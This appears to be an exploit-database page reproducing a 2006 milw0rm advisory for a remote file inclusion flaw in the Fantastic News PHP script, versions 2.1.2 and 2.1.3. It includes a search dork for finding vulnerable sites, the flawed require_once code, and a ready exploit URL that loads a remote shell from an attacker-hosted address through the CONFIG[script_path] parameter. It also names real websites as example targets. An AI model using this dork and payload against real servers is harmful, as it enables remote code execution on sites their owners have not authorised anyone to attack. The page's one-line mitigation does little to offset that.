Fantastic News - exploit.company

vendor:

Fantastic News

by:

SHiKaA

N/A

CVSS

N/A

Remote File Inclusion

CWE

Product Name: Fantastic News

Affected Version From: 2.1.2

Affected Version To: 2.1.3

Patch Exists: YES

Related CWE: N/A

CPE: a:fscripts:fantastic_news

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

Fantastic News <= v2.1.3 (CONFIG[script_path]) Remote File Inclusion Exploit

Fantastic News versions 2.1.2 and 2.1.3 are vulnerable to a Remote File Inclusion vulnerability due to a lack of proper sanitization of user-supplied input to the CONFIG[script_path] parameter in the news.php script. An attacker can exploit this vulnerability by sending a malicious URL in the CONFIG[script_path] parameter, which will be executed on the vulnerable server.

Mitigation:

Input validation should be used to prevent the exploitation of this vulnerability.

Source

Exploit-DB raw data:

#==============================================================================================
#Fantastic News <= v2.1.3 (CONFIG[script_path]) Remote File Inclusion Exploit
#===============================================================================================
#                                                                            
#Critical Level : Dangerous                                                  
#                                                                            
#Venedor site : http://fscripts.com/              
#                                                                              
#Version : v2.1.2 & v2.1.3                                                  
#                                                                
#================================================================================================
#
#Dork : "Powered by Fantastic News v2.1.2" or "Powered by Fantastic News v2.1.3"
#
#================================================================================================
#
#Bug in : news.php
#
#Vlu Code :
#--------------------------------
#  require_once($CONFIG['script_path']."config.php");
#  require_once($CONFIG['script_path']."functions/functions.php");
#  require_once($CONFIG['script_path']."functions/mysql.php");
#  require_once($CONFIG['script_path']."functions/template.php");
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/news.php?CONFIG[script_path]=http://SHELLURL.COM?
#
#Example :
#   http://fscripts.com/ ====> vendor site =)) hahahahaaaaaa ====>    2.1.3
#   http://lnx.evanescencewebsite.com/PressArchive  =====>    2.1.2
#
#
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : Str0ke XoRon Bl@Ck^B1rd AND ALL ccteam (coder-cruze-wolf)
==================================================================================================

# milw0rm.com [2006-08-19]